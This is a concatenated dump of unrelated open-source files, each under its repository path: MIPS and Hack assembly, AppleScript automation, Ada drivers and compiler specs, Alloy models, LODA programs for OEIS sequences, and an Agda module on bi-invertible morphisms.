$6,0($0) lb $6,2($0) nop nor $2,$6,$2 sec121: lbu $6,10($0) lb $6,7($0) and $2,$3,$2 nor $3,$6,$2 sec122: lb $6,7($0) lhu $6,6($0) andi $2,$5,9073 nor $5,$6,$2 sec123: lh $6,12($0) lw $6,12($0) mflo $2 nor $0,$6,$2 sec124: lb $6,12($0) lh $6,6($0) lh $2,8($0) nor $2,$6,$2
scripts/Load Parent Group to start of selected Child.applescript
samschloegel/qlab-scripts
8
3403
<filename>scripts/Load Parent Group to start of selected Child.applescript -- For help, bug reports, or feature suggestions, please visit https://github.com/samschloegel/qlab-scripts -- Built for QLab 4. v211121-01 set userPreRoll to 0.0 tell application id "com.figure53.QLab.4" to tell front workspace set theCue to last item of (selected as list) set thePre to pre wait of theCue set theParent to parent of theCue load theParent time (thePre - userPreRoll) set playback position of parent list of theParent to cue id (uniqueID of theParent) end tell
src/tools/oners.adb
spr93/whitakers-words
204
3090
-- WORDS, a Latin dictionary, by <NAME> (USAF, Retired) -- -- Copyright <NAME> (1936–2010) -- -- This is a free program, which means it is proper to copy it and pass -- it on to your friends. Consider it a developmental item for which -- there is no charge. However, just for form, it is Copyrighted -- (c). Permission is hereby freely given for any and all use of program -- and data. You can sell it as your own, but at least tell me. -- -- This version is distributed without obligation, but the developer -- would appreciate comments and suggestions. -- -- All parts of the WORDS system, source code and data files, are made freely -- available to anyone who wishes to use them, for whatever purpose. with Text_IO; use Text_IO; procedure Oners is package Integer_IO is new Text_IO.Integer_IO (Integer); use Integer_IO; Line, Old_Line : String (1 .. 250) := (others => ' '); Last, Old_Last : Integer := 0; N : Integer := 0; Input, Output : File_Type; begin Put_Line ("ONERS.IN -> ONERS.OUT"); Put_Line ("Takes a sorted file to produce a file having just" & " one of each identical line."); Put_Line ("Puts a count of how many identical lines at the" & " beginning of each."); Open (Input, In_File, "ONERS.IN"); Create (Output, Out_File, "ONERS.OUT"); Get_Line (Input, Old_Line, Old_Last); while not End_Of_File (Input) loop Get_Line (Input, Line, Last); N := N + 1; if Line (1 .. Last) /= Old_Line (1 .. Old_Last) then Put (Output, N); Put_Line (Output, " " & Old_Line (1 .. Old_Last)); N := 0; Old_Last := Last; Old_Line (1 .. Old_Last) := Line (1 .. Last); end if; end loop; Close (Output); end Oners;
projects/04/mult/Mult.asm
chapnitsky/Nand2Tetris
0
29736
// This file is part of www.nand2tetris.org // and the book "The Elements of Computing Systems" // by <NAME>, MIT Press. // File name: projects/04/Mult.asm // Multiplies R0 and R1 and stores the result in R2. // (R0, R1, R2 refer to RAM[0], RAM[1], and RAM[2], respectively.) // // This program only needs to handle arguments that satisfy // R0 >= 0, R1 >= 0, and R0*R1 < 32768. @R2 //Cleaning result register M=0 @R0 D=M //D = R0 @MULT D;JGT //Checking if R0 >= 0 @END 0;JMP (MULT) @R1 D=M @END D;JLE //Checking if R1 >= 0 @R2 D=M //temp = R2 @R1 D=D+M // temp = R2 + R1 @R2 M=D //R2 = temp @R0 D=M-1 //R0-- M=D //Saving R0 @MULT D;JGT //Checking if R0 >= 0 (END) @END 0;JMP
FormalAnalyzer/models/meta/cap_switchLevel.als
Mohannadcse/IoTCOM_BehavioralRuleExtractor
0
2275
<reponame>Mohannadcse/IoTCOM_BehavioralRuleExtractor // filename: cap_switchLevel.als module cap_switchLevel open IoTBottomUp one sig cap_switchLevel extends Capability {} { attributes = cap_switchLevel_attr } abstract sig cap_switchLevel_attr extends Attribute {} one sig cap_switchLevel_attr_level extends cap_switchLevel_attr {} { values = cap_switchLevel_attr_level_val } abstract sig cap_switchLevel_attr_level_val extends AttrValue {} one sig cap_switchLevel_attr_level_val0 extends cap_switchLevel_attr_level_val {}
alloy4fun_models/trainstlt/models/7/bB5tDmtvy7Knm2z96.als
Kaixi26/org.alloytools.alloy
0
2745
<gh_stars>0 open main pred idbB5tDmtvy7Knm2z96_prop8 { always ( all tk:Track | some tk.signal implies (tk.signal in Green) releases ( #pos.tk' = #pos.tk ) ) } pred __repair { idbB5tDmtvy7Knm2z96_prop8 } check __repair { idbB5tDmtvy7Knm2z96_prop8 <=> prop8o }
oeis/099/A099093.asm
neoneye/loda-programs
11
173361
; A099093: Riordan array (1, 3+3x). ; Submitted by <NAME> ; 1,0,3,0,3,9,0,0,18,27,0,0,9,81,81,0,0,0,81,324,243,0,0,0,27,486,1215,729,0,0,0,0,324,2430,4374,2187,0,0,0,0,81,2430,10935,15309,6561,0,0,0,0,0,1215,14580,45927,52488,19683,0,0,0,0,0,243,10935,76545,183708,177147,59049 lpb $0 add $1,1 sub $0,$1 lpe mov $2,$0 mul $2,2 sub $2,$0 sub $1,$2 bin $2,$1 mov $1,3 pow $1,$0 mul $2,$1 mov $0,$2
src/drivers/dac_u2502/sam-dac.ads
Fabien-Chouteau/samd51-hal
1
18919
------------------------------------------------------------------------------ -- -- -- Copyright (C) 2019, AdaCore -- -- -- -- Redistribution and use in source and binary forms, with or without -- -- modification, are permitted provided that the following conditions are -- -- met: -- -- 1. Redistributions of source code must retain the above copyright -- -- notice, this list of conditions and the following disclaimer. -- -- 2. Redistributions in binary form must reproduce the above copyright -- -- notice, this list of conditions and the following disclaimer in -- -- the documentation and/or other materials provided with the -- -- distribution. -- -- 3. Neither the name of the copyright holder nor the names of its -- -- contributors may be used to endorse or promote products derived -- -- from this software without specific prior written permission. -- -- -- -- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -- -- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -- -- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -- -- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -- -- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -- -- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -- -- LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -- -- DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -- -- THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -- -- (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -- -- OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -- -- -- ------------------------------------------------------------------------------ with HAL; with System; package SAM.DAC is function Enabled return Boolean; -- return True if the DAC is enabled type Reference_Volage is (VREFAU, -- Unbuffered external voltage reference VDDANA, -- Voltage supply VREFAB, -- Buffered external voltage reference INTREF); -- Internal bandgap reference type Mode_Kind is (Single_Mode, Differential_Mode); procedure Configure (Mode : Mode_Kind; Vref : Reference_Volage) with Pre => not Enabled; type Channel_ID is range 0 .. 1; type Oversampling_Ratio is (OSR_1, OSR_2, OSR_4, OSR_8, OSR_16, OSR_32); type Refresh_Period is new HAL.UInt4; type Current_Control is (CC100K, CC1M, CC12M); type Data_Adjustment is (Right_Adjusted, Left_Adjusted); procedure Configure_Channel (Chan : Channel_ID; Oversampling : Oversampling_Ratio; Refresh : Refresh_Period; Enable_Dithering : Boolean; Run_In_Standby : Boolean; Standalone_Filter : Boolean; Current : Current_Control; Adjustement : Data_Adjustment; Enable_Filter_Result_Ready_Evt : Boolean; Enable_Data_Buffer_Empty_Evt : Boolean; Enable_Convert_On_Input_Evt : Boolean; Invert_Input_Evt : Boolean; Enable_Overrun_Int : Boolean; Enable_Underrun_Int : Boolean; Enable_Result_Ready_Int : Boolean; Enable_Buffer_Empty_Int : Boolean) with Pre => not Enabled; procedure Enable (Chan_0 : Boolean; Chan_1 : Boolean) with Post => (if Chan_0 or else Chan_1 then Enabled); procedure Write (Chan : Channel_ID; Data : HAL.UInt16); procedure Write_Buffer (Chan : Channel_ID; Data : HAL.UInt16); function Result (Chan : Channel_ID) return HAL.UInt16; function Data_Address (Chan : Channel_ID) return System.Address; -- For DMA transfers procedure Debug_Stop_Mode (Enabled : Boolean := True); -- Stop the device when the CPU is halted by an external debugger. -- This mode is enabled by default. private for Reference_Volage use (VREFAU => 0, VDDANA => 1, VREFAB => 2, INTREF => 3); for Oversampling_Ratio use (OSR_1 => 0, OSR_2 => 1, OSR_4 => 2, OSR_8 => 3, OSR_16 => 4, OSR_32 => 5); for Current_Control use (CC100K => 0, CC1M => 1, CC12M => 2); end SAM.DAC;
oeis/276/A276039.asm
neoneye/loda-programs
11
169598
; A276039: Numbers using only digits 1 and 7. ; Submitted by <NAME> ; 1,7,11,17,71,77,111,117,171,177,711,717,771,777,1111,1117,1171,1177,1711,1717,1771,1777,7111,7117,7171,7177,7711,7717,7771,7777,11111,11117,11171,11177,11711,11717,11771,11777,17111,17117,17171,17177,17711,17717,17771,17777,71111,71117,71171,71177,71711,71717,71771,71777,77111,77117,77171,77177,77711,77717,77771,77777,111111,111117,111171,111177,111711,111717,111771,111777,117111,117117,117171,117177,117711,117717,117771,117777,171111,171117,171171,171177,171711,171717,171771,171777,177111 add $0,1 mov $2,1 lpb $0 mov $3,$0 mul $0,2 sub $0,1 div $0,4 mod $3,2 mul $3,$2 add $1,$3 mul $2,10 lpe mul $1,6 sub $2,$1 mul $1,2 mul $2,7 sub $2,$1 mov $0,$2 div $0,9
new-text-file.applescript
jshimbo/macos-actions
0
4695
<gh_stars>0 tell application "Finder" set this_folder to insertion location as text if (count of (get selection)) is equal to 1 then set file_alias to the selection as alias set default_name to name of file_alias else set default_name to "New Text File" end if end tell set new_file to text returned of (display dialog "Folder: " & POSIX path of this_folder & " Enter file name (.txt will be added later)" default answer default_name) set the_filename to new_file & ".txt" set the_pathname to this_folder & the_filename tell application "Finder" if exists file the_pathname then set e_exist to true else set e_exist to false end if end tell if e_exist is true then display alert "File already exists: " & the_filename else tell application "Finder" try set new_file to make new file at insertion location as alias with properties {name:the_filename} set extension hidden of new_file to false select new_file on error errMsg display dialog {errMsg} end try end tell end if
oeis/195/A195403.asm
neoneye/loda-programs
11
166686
; A195403: Decimal expansion of shortest length, (A), of segment from side AB through incenter to side AC in right triangle ABC with sidelengths (a,b,c)=(1,sqrt(r),r), where r=(1+sqrt(5))/2 (the golden ratio). ; Submitted by <NAME> ; 6,9,2,0,2,8,6,7,8,4,7,1,6,5,1,7,6,7,9,0,4,3,2,8,7,4,5,2,5,6,2,9,3,2,5,2,0,0,9,4,0,2,2,7,5,9,3,1,3,3,3,2,2,7,0,3,7,6,1,6,4,8,0,3,3,1,9,2,5,7,7,4,5,6,5,6,6,8,8,7,5,7,5,3,6,4,5,9,7,8,4,0,1,8,6,1,7,5,7,8 add $0,1 mov $2,2 mov $3,$0 mul $3,4 lpb $3 add $6,$2 add $1,$6 add $2,$1 sub $3,1 add $5,$2 add $6,$5 lpe mul $1,2 add $2,$5 mov $4,10 pow $4,$0 div $2,$4 div $1,$2 mov $0,$1 mod $0,10
src/Bi-invertibility.agda
nad/equality
3
6441
<filename>src/Bi-invertibility.agda ------------------------------------------------------------------------ -- Bi-invertibility ------------------------------------------------------------------------ -- The development is based on the presentation of bi-invertibility -- (for types and functions) and related things in the HoTT book. {-# OPTIONS --without-K --safe #-} open import Equality open import Prelude hiding (id; _∘_) -- The code is parametrised by something like a "raw" category. module Bi-invertibility {e⁺} (eq : ∀ {a p} → Equality-with-J a p e⁺) {o h} (Obj : Type o) (Hom : Obj → Obj → Type h) (id : {A : Obj} → Hom A A) (_∘′_ : {A B C : Obj} → Hom B C → Hom A B → Hom A C) where open Derived-definitions-and-properties eq open import Equivalence eq as Eq using (_≃_; Is-equivalence) open import Function-universe eq as F hiding (id; _∘_) open import Logical-equivalence using (_⇔_) open import H-level eq open import H-level.Closure eq open import Preimage eq open import Surjection eq using (_↠_) private variable A B : Obj f : Hom A B infixr 9 _∘_ _∘_ : {A B C : Obj} → Hom B C → Hom A B → Hom A C _∘_ = _∘′_ -- Has-left-inverse f means that f has a left inverse. Has-left-inverse : Hom A B → Type h Has-left-inverse f = ∃ λ f⁻¹ → f⁻¹ ∘ f ≡ id -- Has-right-inverse f means that f has a right inverse. Has-right-inverse : Hom A B → Type h Has-right-inverse f = ∃ λ f⁻¹ → f ∘ f⁻¹ ≡ id -- Is-bi-invertible f means that f has a left inverse and a (possibly -- distinct) right inverse. Is-bi-invertible : Hom A B → Type h Is-bi-invertible f = Has-left-inverse f × Has-right-inverse f -- Has-quasi-inverse f means that f has a left inverse that is also a -- right inverse. Has-quasi-inverse : Hom A B → Type h Has-quasi-inverse f = ∃ λ f⁻¹ → f ∘ f⁻¹ ≡ id × f⁻¹ ∘ f ≡ id -- Some notions of isomorphism or equivalence. infix 4 _≊_ _≅_ _≊_ : Obj → Obj → Type h A ≊ B = ∃ λ (f : Hom A B) → Is-bi-invertible f _≅_ : Obj → Obj → Type h A ≅ B = ∃ λ (f : Hom A B) → Has-quasi-inverse f -- Morphisms with quasi-inverses are bi-invertible. Has-quasi-inverse→Is-bi-invertible : (f : Hom A B) → Has-quasi-inverse f → Is-bi-invertible f Has-quasi-inverse→Is-bi-invertible _ (f⁻¹ , f∘f⁻¹≡id , f⁻¹∘f≡id) = (f⁻¹ , f⁻¹∘f≡id) , (f⁻¹ , f∘f⁻¹≡id) ≅→≊ : A ≅ B → A ≊ B ≅→≊ = ∃-cong Has-quasi-inverse→Is-bi-invertible -- The remaining code relies on some further assumptions, similar to -- those of a precategory. However, note that Hom A B is not required -- to be a set (some properties require Hom A A to be a set for some -- A). module More (left-identity : {A B : Obj} (f : Hom A B) → id ∘ f ≡ f) (right-identity : {A B : Obj} (f : Hom A B) → f ∘ id ≡ f) (associativity : {A B C D : Obj} (f : Hom C D) (g : Hom B C) (h : Hom A B) → f ∘ (g ∘ h) ≡ (f ∘ g) ∘ h) where -- Bi-invertible morphisms have quasi-inverses. Is-bi-invertible→Has-quasi-inverse : Is-bi-invertible f → Has-quasi-inverse f Is-bi-invertible→Has-quasi-inverse {f = f} ((f⁻¹₁ , f⁻¹₁∘f≡id) , (f⁻¹₂ , f∘f⁻¹₂≡id)) = (f⁻¹₁ ∘ f ∘ f⁻¹₂) , (f ∘ f⁻¹₁ ∘ f ∘ f⁻¹₂ ≡⟨ cong (f ∘_) $ associativity _ _ _ ⟩ f ∘ (f⁻¹₁ ∘ f) ∘ f⁻¹₂ ≡⟨ cong (λ f′ → f ∘ f′ ∘ f⁻¹₂) f⁻¹₁∘f≡id ⟩ f ∘ id ∘ f⁻¹₂ ≡⟨ cong (f ∘_) $ left-identity _ ⟩ f ∘ f⁻¹₂ ≡⟨ f∘f⁻¹₂≡id ⟩∎ id ∎) , ((f⁻¹₁ ∘ f ∘ f⁻¹₂) ∘ f ≡⟨ cong (λ f′ → (f⁻¹₁ ∘ f′) ∘ f) f∘f⁻¹₂≡id ⟩ (f⁻¹₁ ∘ id) ∘ f ≡⟨ cong (_∘ f) $ right-identity _ ⟩ f⁻¹₁ ∘ f ≡⟨ f⁻¹₁∘f≡id ⟩∎ id ∎) -- Has-left-inverse f is contractible if f has a quasi-inverse. Has-left-inverse-contractible : Has-quasi-inverse f → Contractible (Has-left-inverse f) Has-left-inverse-contractible {f = f} (f⁻¹ , f∘f⁻¹≡id , f⁻¹∘f≡id) = bijection⁻¹-contractible (record { surjection = record { logical-equivalence = record { to = _∘ f ; from = _∘ f⁻¹ } ; right-inverse-of = λ g → (g ∘ f⁻¹) ∘ f ≡⟨ sym $ associativity _ _ _ ⟩ g ∘ f⁻¹ ∘ f ≡⟨ cong (g ∘_) f⁻¹∘f≡id ⟩ g ∘ id ≡⟨ right-identity _ ⟩∎ g ∎ } ; left-inverse-of = λ g → (g ∘ f) ∘ f⁻¹ ≡⟨ sym $ associativity _ _ _ ⟩ g ∘ f ∘ f⁻¹ ≡⟨ cong (g ∘_) f∘f⁻¹≡id ⟩ g ∘ id ≡⟨ right-identity _ ⟩∎ g ∎ }) id -- Has-right-inverse f is contractible if f has a quasi-inverse. Has-right-inverse-contractible : Has-quasi-inverse f → Contractible (Has-right-inverse f) Has-right-inverse-contractible {f = f} (f⁻¹ , f∘f⁻¹≡id , f⁻¹∘f≡id) = bijection⁻¹-contractible (record { surjection = record { logical-equivalence = record { to = f ∘_ ; from = f⁻¹ ∘_ } ; right-inverse-of = λ g → f ∘ f⁻¹ ∘ g ≡⟨ associativity _ _ _ ⟩ (f ∘ f⁻¹) ∘ g ≡⟨ cong (_∘ g) f∘f⁻¹≡id ⟩ id ∘ g ≡⟨ left-identity _ ⟩∎ g ∎ } ; left-inverse-of = λ g → f⁻¹ ∘ f ∘ g ≡⟨ associativity _ _ _ ⟩ (f⁻¹ ∘ f) ∘ g ≡⟨ cong (_∘ g) f⁻¹∘f≡id ⟩ id ∘ g ≡⟨ left-identity _ ⟩∎ g ∎ }) id -- Is-bi-invertible f is a proposition. Is-bi-invertible-propositional : (f : Hom A B) → Is-proposition (Is-bi-invertible f) Is-bi-invertible-propositional f = [inhabited⇒+]⇒+ 0 λ b → let q = Is-bi-invertible→Has-quasi-inverse b in mono₁ 0 $ ×-closure 0 (Has-left-inverse-contractible q) (Has-right-inverse-contractible q) -- If Hom A A is a set, where A is the domain of f, then -- Has-quasi-inverse f is a proposition. Has-quasi-inverse-propositional-domain : {f : Hom A B} → Is-set (Hom A A) → Is-proposition (Has-quasi-inverse f) Has-quasi-inverse-propositional-domain {f = f} s = $⟨ (λ inv → Σ-closure 1 (mono₁ 0 $ Has-right-inverse-contractible inv) (λ _ → s)) ⟩ (Has-quasi-inverse f → Is-proposition (∃ λ ((f⁻¹ , _) : Has-right-inverse f) → f⁻¹ ∘ f ≡ id)) ↝⟨ (∀-cong _ λ _ → H-level-cong _ 1 (inverse Σ-assoc)) ⟩ (Has-quasi-inverse f → Is-proposition (Has-quasi-inverse f)) ↝⟨ [inhabited⇒+]⇒+ 0 ⟩□ Is-proposition (Has-quasi-inverse f) □ -- If Hom B B is a set, where B is the codomain of f, then -- Has-quasi-inverse f is a proposition. Has-quasi-inverse-propositional-codomain : {f : Hom A B} → Is-set (Hom B B) → Is-proposition (Has-quasi-inverse f) Has-quasi-inverse-propositional-codomain {f = f} s = $⟨ (λ inv → Σ-closure 1 (mono₁ 0 $ Has-left-inverse-contractible inv) (λ _ → s)) ⟩ (Has-quasi-inverse f → Is-proposition (∃ λ ((f⁻¹ , _) : Has-left-inverse f) → f ∘ f⁻¹ ≡ id)) ↝⟨ (∀-cong _ λ _ → H-level-cong _ 1 lemma) ⟩ (Has-quasi-inverse f → Is-proposition (Has-quasi-inverse f)) ↝⟨ [inhabited⇒+]⇒+ 0 ⟩□ Is-proposition (Has-quasi-inverse f) □ where lemma = (∃ λ ((f⁻¹ , _) : Has-left-inverse f) → f ∘ f⁻¹ ≡ id) ↔⟨⟩ (∃ λ ((f⁻¹ , _) : ∃ λ f⁻¹ → f⁻¹ ∘ f ≡ id) → f ∘ f⁻¹ ≡ id) ↝⟨ inverse Σ-assoc ⟩ (∃ λ f⁻¹ → f⁻¹ ∘ f ≡ id × f ∘ f⁻¹ ≡ id) ↝⟨ (∃-cong λ _ → ×-comm) ⟩ (∃ λ f⁻¹ → f ∘ f⁻¹ ≡ id × f⁻¹ ∘ f ≡ id) ↔⟨⟩ Has-quasi-inverse f □ -- There is a split surjection from Has-quasi-inverse f to -- Is-bi-invertible f. Has-quasi-inverse↠Is-bi-invertible : Has-quasi-inverse f ↠ Is-bi-invertible f Has-quasi-inverse↠Is-bi-invertible = record { logical-equivalence = record { to = Has-quasi-inverse→Is-bi-invertible _ ; from = Is-bi-invertible→Has-quasi-inverse } ; right-inverse-of = λ _ → Is-bi-invertible-propositional _ _ _ } -- There is a split surjection from A ≅ B to A ≊ B. ≅↠≊ : (A ≅ B) ↠ (A ≊ B) ≅↠≊ = ∃-cong λ _ → Has-quasi-inverse↠Is-bi-invertible -- Is-bi-invertible and Has-quasi-inverse are equivalent for -- morphisms with domain A for which Hom A A is a set. Is-bi-invertible≃Has-quasi-inverse-domain : {f : Hom A B} → Is-set (Hom A A) → Is-bi-invertible f ≃ Has-quasi-inverse f Is-bi-invertible≃Has-quasi-inverse-domain s = inverse $ Eq.↔⇒≃ (record { surjection = Has-quasi-inverse↠Is-bi-invertible ; left-inverse-of = λ _ → Has-quasi-inverse-propositional-domain s _ _ }) -- Is-bi-invertible and Has-quasi-inverse are equivalent for -- morphisms with codomain B for which Hom B B is a set. Is-bi-invertible≃Has-quasi-inverse-codomain : {f : Hom A B} → Is-set (Hom B B) → Is-bi-invertible f ≃ Has-quasi-inverse f Is-bi-invertible≃Has-quasi-inverse-codomain s = inverse $ Eq.↔⇒≃ (record { surjection = Has-quasi-inverse↠Is-bi-invertible ; left-inverse-of = λ _ → Has-quasi-inverse-propositional-codomain s _ _ }) -- A ≊ B and A ≅ B are equivalent if Hom A A is a set. ≊≃≅-domain : Is-set (Hom A A) → (A ≊ B) ≃ (A ≅ B) ≊≃≅-domain s = ∃-cong λ _ → Is-bi-invertible≃Has-quasi-inverse-domain s -- A ≊ B and A ≅ B are equivalent if Hom B B is a set. ≊≃≅-codomain : Is-set (Hom B B) → (A ≊ B) ≃ (A ≅ B) ≊≃≅-codomain s = ∃-cong λ _ → Is-bi-invertible≃Has-quasi-inverse-codomain s -- An equality characterisation lemma for _≊_. equality-characterisation-≊ : (f g : A ≊ B) → (f ≡ g) ≃ (proj₁ f ≡ proj₁ g) equality-characterisation-≊ _ _ = Eq.↔⇒≃ $ inverse $ ignore-propositional-component $ Is-bi-invertible-propositional _ -- Two equality characterisation lemmas for _≅_. equality-characterisation-≅-domain : Is-set (Hom A A) → (f g : A ≅ B) → (f ≡ g) ≃ (proj₁ f ≡ proj₁ g) equality-characterisation-≅-domain s _ _ = Eq.↔⇒≃ $ inverse $ ignore-propositional-component $ Has-quasi-inverse-propositional-domain s equality-characterisation-≅-codomain : Is-set (Hom B B) → (f g : A ≅ B) → (f ≡ g) ≃ (proj₁ f ≡ proj₁ g) equality-characterisation-≅-codomain s _ _ = Eq.↔⇒≃ $ inverse $ ignore-propositional-component $ Has-quasi-inverse-propositional-codomain s -- If f : Hom A B has a quasi-inverse, then Has-quasi-inverse f is -- equivalent to id ≡ id, where id stands for either the identity at -- A or at B. Has-quasi-inverse≃id≡id-domain : {f : Hom A B} → Has-quasi-inverse f → Has-quasi-inverse f ≃ (id ≡ id {A = A}) Has-quasi-inverse≃id≡id-domain {f = f} q-inv@(f⁻¹ , _ , f⁻¹∘f≡id) = Has-quasi-inverse f ↔⟨ Σ-assoc ⟩ (∃ λ ((f⁻¹ , _) : Has-right-inverse f) → f⁻¹ ∘ f ≡ id) ↔⟨ drop-⊤-left-Σ (_⇔_.to contractible⇔↔⊤ $ Has-right-inverse-contractible q-inv) ⟩ (f⁻¹ ∘ id) ∘ f ≡ id ↝⟨ ≡⇒↝ _ $ cong (λ f′ → f′ ∘ _ ≡ _) $ right-identity _ ⟩ f⁻¹ ∘ f ≡ id ↝⟨ ≡⇒↝ _ $ cong (_≡ _) f⁻¹∘f≡id ⟩□ id ≡ id □ Has-quasi-inverse≃id≡id-codomain : {f : Hom A B} → Has-quasi-inverse f → Has-quasi-inverse f ≃ (id ≡ id {A = B}) Has-quasi-inverse≃id≡id-codomain {f = f} q-inv@(f⁻¹ , f∘f⁻¹≡id , _) = Has-quasi-inverse f ↔⟨ Σ-assoc F.∘ (∃-cong λ _ → ×-comm) ⟩ (∃ λ ((f⁻¹ , _) : Has-left-inverse f) → f ∘ f⁻¹ ≡ id) ↔⟨ drop-⊤-left-Σ (_⇔_.to contractible⇔↔⊤ $ Has-left-inverse-contractible q-inv) ⟩ f ∘ id ∘ f⁻¹ ≡ id ↝⟨ ≡⇒↝ _ $ cong (λ f′ → _ ∘ f′ ≡ _) $ left-identity _ ⟩ f ∘ f⁻¹ ≡ id ↝⟨ ≡⇒↝ _ $ cong (_≡ _) f∘f⁻¹≡id ⟩□ id ≡ id □ ---------------------------------------------------------------------- -- Univalence -- The relation _≅_ is reflexive. id-≅ : A ≅ A id-≅ = id , id , left-identity id , right-identity id -- Equal objects are related by _≅_. ≡→≅ : A ≡ B → A ≅ B ≡→≅ = elim (λ {A B} _ → A ≅ B) (λ _ → id-≅) -- A "computation" rule for ≡→≅. ≡→≅-refl : ≡→≅ (refl A) ≡ id-≅ ≡→≅-refl = elim-refl _ _ -- A notion of univalence, defined using _≅_. Univalence-≅ : Type (o ⊔ h) Univalence-≅ = {A B : Obj} → Is-equivalence (≡→≅ {A = A} {B = B}) -- If equality is equivalent to _≅_, then univalence holds. ≡≃≅→Univalence-≅ : (∀ {A B} → (A ≡ B) ≃ (A ≅ B)) → Univalence-≅ ≡≃≅→Univalence-≅ ≡≃≅ = Eq.≡≃→≡→→Is-equivalence (_ ≅_) ≡≃≅ ≡→≅ -- The relation _≊_ is reflexive. id-≊ : A ≊ A id-≊ = id , (id , left-identity id) , (id , right-identity id) -- Equal objects are related by _≊_. ≡→≊ : A ≡ B → A ≊ B ≡→≊ = elim (λ {A B} _ → A ≊ B) (λ _ → id-≊) -- A "computation" rule for ≡→≊. ≡→≊-refl : ≡→≊ (refl A) ≡ id-≊ ≡→≊-refl = elim-refl _ _ -- A notion of univalence, defined using _≊_. Univalence-≊ : Type (o ⊔ h) Univalence-≊ = {A B : Obj} → Is-equivalence (≡→≊ {A = A} {B = B}) -- If equality is equivalent to _≊_, then univalence holds. ≡≃≊→Univalence-≊ : (∀ {A B} → (A ≡ B) ≃ (A ≊ B)) → Univalence-≊ ≡≃≊→Univalence-≊ ≡≃≊ = Eq.≡≃→≡→→Is-equivalence (_ ≊_) ≡≃≊ ≡→≊
src/002/n1.ads
xeenta/learning-ada
0
19548
<gh_stars>0 package N1 is C1 : constant := 1; package N2 is type N2_Type is new Integer; PC : constant := 2; private Cnt : Integer; end N2; C2 : N2.N2_Type; private package N3 is PC : constant := 3; private Cnt : Integer; end N3; end N1;
tools-src/gnu/gcc/gcc/ada/sem_ch12.ads
enfoTek/tomato.linksys.e2000.nvram-mod
80
20298
<gh_stars>10-100 ------------------------------------------------------------------------------ -- -- -- GNAT COMPILER COMPONENTS -- -- -- -- S E M _ C H 1 2 -- -- -- -- S p e c -- -- -- -- $Revision$ -- -- -- Copyright (C) 1992-2000 Free Software Foundation, Inc. -- -- -- -- GNAT is free software; you can redistribute it and/or modify it under -- -- terms of the GNU General Public License as published by the Free Soft- -- -- ware Foundation; either version 2, or (at your option) any later ver- -- -- sion. GNAT is distributed in the hope that it will be useful, but WITH- -- -- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY -- -- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License -- -- for more details. You should have received a copy of the GNU General -- -- Public License distributed with GNAT; see file COPYING. If not, write -- -- to the Free Software Foundation, 59 Temple Place - Suite 330, Boston, -- -- MA 02111-1307, USA. -- -- -- -- GNAT was originally developed by the GNAT team at New York University. -- -- Extensive contributions were provided by Ada Core Technologies Inc. -- -- -- ------------------------------------------------------------------------------ with Inline; use Inline; with Types; use Types; package Sem_Ch12 is procedure Analyze_Generic_Package_Declaration (N : Node_Id); procedure Analyze_Generic_Subprogram_Declaration (N : Node_Id); procedure Analyze_Package_Instantiation (N : Node_Id); procedure Analyze_Procedure_Instantiation (N : Node_Id); procedure Analyze_Function_Instantiation (N : Node_Id); procedure Analyze_Formal_Object_Declaration (N : Node_Id); procedure Analyze_Formal_Type_Declaration (N : Node_Id); procedure Analyze_Formal_Subprogram (N : Node_Id); procedure Analyze_Formal_Package (N : Node_Id); procedure Start_Generic; -- Must be invoked before starting to process a generic spec or body. procedure End_Generic; -- Must be invoked just at the end of the end of the processing of a -- generic spec or body. procedure Check_Generic_Child_Unit (Gen_Id : Node_Id; Parent_Installed : in out Boolean); -- If the name of the generic unit in an instantiation or a renaming -- is a selected component, then the prefix may be an instance and the -- selector may designate a child unit. Retrieve the parent generic -- and search for the child unit that must be declared within. Similarly, -- if this is the name of a generic child unit within an instantiation of -- its own parent, retrieve the parent generic. function Copy_Generic_Node (N : Node_Id; Parent_Id : Node_Id; Instantiating : Boolean) return Node_Id; -- Copy the tree for a generic unit or its body. The unit is copied -- repeatedly: once to produce a copy on which semantic analysis of -- the generic is performed, and once for each instantiation. The tree -- being copied is not semantically analyzed, except that references to -- global entities are marked on terminal nodes. function Get_Instance_Of (A : Entity_Id) return Entity_Id; -- Retrieve actual associated with given generic parameter. -- If A is uninstantiated or not a generic parameter, return A. procedure Instantiate_Package_Body (Body_Info : Pending_Body_Info); -- Called after semantic analysis, to complete the instantiation of -- package instances. procedure Instantiate_Subprogram_Body (Body_Info : Pending_Body_Info); -- Called after semantic analysis, to complete the instantiation of -- function and procedure instances. procedure Save_Global_References (N : Node_Id); -- Traverse the original generic unit, and capture all references to -- entities that are defined outside of the generic in the analyzed -- tree for the template. These references are copied into the original -- tree, so that they appear automatically in every instantiation. -- A critical invariant in this approach is that if an id in the generic -- resolves to a local entity, the corresponding id in the instance -- will resolve to the homologous entity in the instance, even though -- the enclosing context for resolution is different, as long as the -- global references have been captured as described here. -- Because instantiations can be nested, the environment of the instance, -- involving the actuals and other data-structures, must be saved and -- restored in stack-like fashion. Front-end inlining also uses these -- structures for the management of private/full views. procedure Set_Copied_Sloc (N : Node_Id; E : Entity_Id); procedure Save_Env (Gen_Unit : Entity_Id; Act_Unit : Entity_Id); procedure Restore_Env; end Sem_Ch12;
bondgo/src/test/source002.go.asm
mmirko/bondmachine
6
80761
<reponame>mmirko/bondmachine<gh_stars>1-10 clr r0 clr r1 r2m r1 0 rset r1 7 rset r2 8 cpy r0 r1 r2m r2 0
os/Darwin/bin/EmacsX.applescript
